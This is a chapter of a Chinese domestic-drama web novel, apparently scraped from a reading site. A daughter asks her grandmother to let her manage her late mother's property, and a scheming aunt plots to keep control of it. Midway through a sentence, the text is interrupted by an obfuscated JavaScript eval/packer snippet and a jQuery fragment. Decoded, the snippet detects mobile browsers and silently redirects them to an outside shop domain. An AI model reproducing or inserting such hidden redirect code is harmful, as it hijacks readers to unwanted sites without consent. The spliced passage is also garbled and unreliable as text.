蒋安沅负气去了蒋家祠堂罚跪,不过未到半个时辰,蒋老太太身边的刘妈妈便来了,带着她到了福安堂。
祖孙俩坐在一处,蒋老太太轻轻地拍了拍蒋安沅,眼神里尽是关切,“你也别怪你爹,这些年他也是有苦衷的。”
蒋老太太叹了口气又道:“你父亲为官的初衷便是他心中的正义和公道,在朝堂也做到了刚正不阿,可这自然便成了那些人的眼中钉、肉中刺,前几年可真真是难呐!便也无暇顾及子女,你是如此,衡哥儿也是如此,总归是他这个做父亲的亏欠了你们。”
蒋安沅面带着笑,说道:“祖母,安沅都知道,只是今日一时情急才说了那些话。”
蒋老太太听蒋安沅这么说,知她是个懂事的,语气不免又柔和了几分:“好孩子,你能明白便好。瞧着快到饭点了,就在祖母这儿用饭吧!”
不一会儿,一桌子的菜肴都上齐了,一旁的刘妈妈笑道:“老太太平日里不太食荤腥,今日留沅姐儿用饭,特意叫小厨房多做了些,沅姐儿看合不合口味?”
蒋安沅吃了几口,直道好吃。
用完饭后,蒋安沅看到桌上还有些茶果子,想起了在清乐茶坊的事,于是说道:“祖母,孙女今日路过马行街,碰巧看到了幼年时和母亲常去的那家茶坊,就买了些茶果子,原本也是想给祖母送些过来,不过还没来及就被父亲叫去书房了。”
说到这儿蒋安沅顿了顿,又道:“过会儿子我叫人给祖母送些过来,可好吃了!”
蒋老太太指着蒋安沅,又对着刘妈妈笑着道:“这丫头,说起吃的就活泛起来了!”
蒋安沅嘴唇微微翕(xī)动,半响,终是踌躇道:“祖母,孙女有件事不知当不当说。”
蒋老太太淡淡一笑,“有什么事就说吧,趁我这老太婆耳朵还听得清,眼睛还看得明。”
蒋安沅闻言继续说道:“祖母,今日孙女去的这家茶坊是在我母亲名下的,所以孙女是想问……”
“你是想问你母亲的私产如今是谁在打理?”
“正是!”
蒋老太太还是笑眯眯的,可眼神中却是多了些审视,这样的目光盯得蒋安沅有些不自在,一旁侍立的月云也有些不安,担心她惹得老太太不高兴。
正在此时,却听得蒋老太太“哈哈”的笑声:“瞧瞧这小狐狲,这是来跟我这老婆子算账来了。”
蒋安沅一听,赶忙站起来恭敬道:“祖母,孙女绝没有这个意思。”
“瞧把你吓的,坐下吧!”蒋老太太语气逐渐柔和,“你母亲去世后,你父亲说什么也不肯续弦,房中也没个妾室,所以只好由我这个老婆子帮着打理,过我也是上了年纪的人,也没得多余的精力来理这些个事。”
蒋老太太顿了顿,又笑道:“你二叔母虽平日里是有些小的弯弯绕绕,但却也是个能干的,想着都让她管家了,索性也把你母亲的私产都交给了她,让她帮着打理。”
蒋安沅听完,便也明白为何清乐茶坊的掌柜会那样说了。
蒋老太太端起茶盏喝了一口,随即又道:“怎么突然问起这个?”
“祖母,孙女想从您这儿讨个差事!”蒋安沅一脸笑意,连着那双亮晶晶的眼睛也弯成了月牙。
蒋老太太听她这么一说,好似来了精神一般,说道:“哦,你这丫头又在打什么算盘?”
“孙女想亲自打理母亲留下的私产。”蒋安沅说得非常认真,眼神也十分真挚。
蒋老太太听后却没着急答话,嘴角依旧带着笑,不过眼神却从蒋安沅的身上移开了,应该是在思量。
蒋安沅也不急,只在一旁静静地端坐着。
过了半响,蒋老太太才开口道:“沅丫头,你且在等等,容我再想想。”
蒋安沅闻言,心里虽是有些失落,不过脸上仍然笑着回道:“是,祖母!”
说完祖孙二人又闲聊了一阵,蒋安沅见祖母有些困乏,想着不再好打扰,便辞了去。
房中,蒋老太太靠在软塌上,闭着眼,缓缓道:“沅丫头提的那事,你怎么看?”
这话自然是说给一旁的刘妈妈听的。
刘妈妈一边给蒋老太太扇着风,一边道:“杜大娘子的娘家在蜀地是有名的商贾之家,沅姐儿跟着那边儿的老太太这么多年,也把咱们沅姐儿教得知书识礼,想来也是学了些本事的,不过到底是个年纪小的,下面的人大多是看人下菜,所以也说不好。”
蒋老太太睁开了眼,佯嗔道:“你这老货,好的,歹的,都让你说了,也没个确切。”
刘妈妈一脸笑意,道:“老太太心中怕是已经有了决断,又何必再问旁的人。”
蒋老太太叹了口气,只道:“你说得也不错,且再看看!”
出了福安堂的蒋安沅一路上却是心绪不宁,心里还在揣测着祖母的心思,对于拿回母亲私产的事她也没有十足的把握。
这时身后的月云说道:“刚刚真是把奴婢吓了一跳,姑娘才惹怒了老爷,万一又把老太太给得罪了,那姑娘在府上哪里还有好……”
月云话还未说完,蒋安沅的手指头就敲在了她的额头上,道:“你就不能盼着你姑娘我点好啊!”
月云摸了摸额头,嘟囔道:“我这不是担心姑娘嘛。”
蒋安沅眉头一挑,“我倒是觉着,祖母是向着我的。”说完便向微兰居走去。
所谓好事不出门,坏事传千里。没一阵功夫蒋安沅被罚跪祠堂的事就入了曹氏的耳朵。
曹氏靠在软榻上,慢悠悠地将手中轻精美的茶盏放在雕花红木桌上,眼神却是冒着精光:“哦,那丫头当真一回来就跟他爹吵了一架,还跪了祠堂?”
陈妈妈回道:“千真万确,奴婢瞧得真真的。”
曹氏脸上不禁浮起喜色,嘴角的笑带着几分讥诮,“这两日见她色温貌恭,规规矩矩的,我还当那小丫头是个沉得住气的主儿,没成想也是个纸扎的,经不起烤。”
陈妈妈看了眼曹氏接着道:“不过,听说二姑娘去了祠堂不到半个时辰,老太太就把人给领了出去,还留了人在福安堂用饭,看来老太太对二姑娘还是如从前一般。”
曹氏眉头微蹙,拧了拧手中的帕子,明显有些不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13464310|141824||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
悦,随即没好气地说道:“老太太就是偏心那丫头,五年前是这样,现在又是这样,真不明白那商户之女有什么好,我家芝儿这些年……”
未等曹氏把话说完,陈妈妈赶忙打断了她的话,“老太太对大房、二房的哥儿、姐儿都是一样的疼惜,大娘子这话可别再说了,要是被有心人听了去,岂不离了大娘子和老太太的心。”
曹氏也意识到自己有些失了分寸,随即说道:“我又不傻,自然是不会在外面说,也就是在你这儿发发牢骚罢了。”
陈妈妈眼神一动,又道:“如今二姑娘回来了,大娘子更是得对大房那边上心些,如此这般,一来传出去也只会说大娘子贤德,这二来,老太太那边也放心将管家权继续交给您。”
这两年曹氏管着蒋家两房,虽说累是累点儿,但到底是个管家娘子,说出去有面儿,况且这管家对牌在手,油水自然是有得捞的,加上曹氏本就是个贪权揽财的主儿,所以也乐得其所。
曹氏听了陈妈妈的话,细细思索了一番,对着陈妈妈露出了赞赏之色,点了点头,“你说得在理,微兰阁那边是得上点心,免得落人口实。”曹氏像是想起了什么,又道:“让微兰阁的那几个丫头多留意着些,要是有个什么风吹草动的,只管让她们来告我。”
陈妈妈点头回应着。
此时丫鬟萍儿提着份茶果子进了屋,曹氏见了随即问道:“这是什么东西?”
萍儿将茶果子放到了八仙桌上,回道:“是二姑娘身边的月云送来的一些茶果子和蜜饯点心。”
曹氏闻言,轻蔑地说道:“啧啧,到底是商户之女,如此寒酸的玩意儿都往外送,说出去真是让人笑……”话还没说完,却不经意地瞥见那包茶果子用的油纸上写着的“清乐”二字,立马收起了笑。
曹氏走上前去,拿起那茶果子仔细看了看,确定自己没有看错,随即与陈妈妈相视了一眼,又看向萍儿,追问道:“这个东西是谁买的?“
萍儿回道:“月云只是跟奴婢说,说二姑娘从新华门回来时,路过了清乐茶坊,觉得那里的东西好吃便多买了些送过来。”
只见曹氏脸色一沉,将手中的茶果子朝地上一扔,怒道:“人都把东西送上门来了,那几个没用的蠢货硬是一点都不挪窝,什么风都没吹回来!”
陈妈妈忙道:“大娘子消消气。”说完便给萍儿使了个眼色,萍儿会意,立马退了出去。
陈妈妈又接着道:“大娘子不必如此,那二姑娘只是去买了果子,未必就知道些什么!”
曹氏心里还是有些不安,说道:“那清乐茶坊的胡老三,他那个狗肚子里就隔不了四两油,嘴上没个把门的,他要是胡说八道些什么,让那丫头看出点端倪,那可怎么办?”
陈妈妈宽慰道:“大娘子放宽心,二姑娘到底是个小姑娘,能掀出多大浪儿来!”
曹氏一听,觉得她说得也不无道理,或许是自己过于紧张了,但却还是放不下心来,嘱咐道:“咱们还是小心些得好!让微兰阁那几个丫头给我盯紧了,今日这事要是还有第二次,那就别怪我不念主仆情谊。”